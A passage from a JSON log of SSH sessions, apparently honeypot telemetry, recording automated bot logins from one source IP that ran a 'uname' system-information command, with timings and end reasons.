  "username": "gg",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:36.620244+00:00",
  "ended_at": "2026-08-26T06:41:42.754645+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "465a0933-0c0f-4bf1-9ce4-4f4acaa425dd",
  "name": "crisp-clever-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39428,
  "username": "mcserver",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:34.687482+00:00",
  "ended_at": "2026-08-26T06:41:42.874652+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "c7b8a740-dafc-4aa6-8497-f94dda639149",
  "name": "meadow-stoic-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 44872,
  "username": "recorder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:41:18.139878+00:00",
  "ended_at": "2026-08-26T06:41:20.537399+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98778d98-b926-4293-9504-f829ba3ca255",
  "name": "graceful-dapper-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43842,
  "username": "recorder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:14.026442+00:00",
  "ended_at": "2026-08-26T06:41:20.538906+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 }
]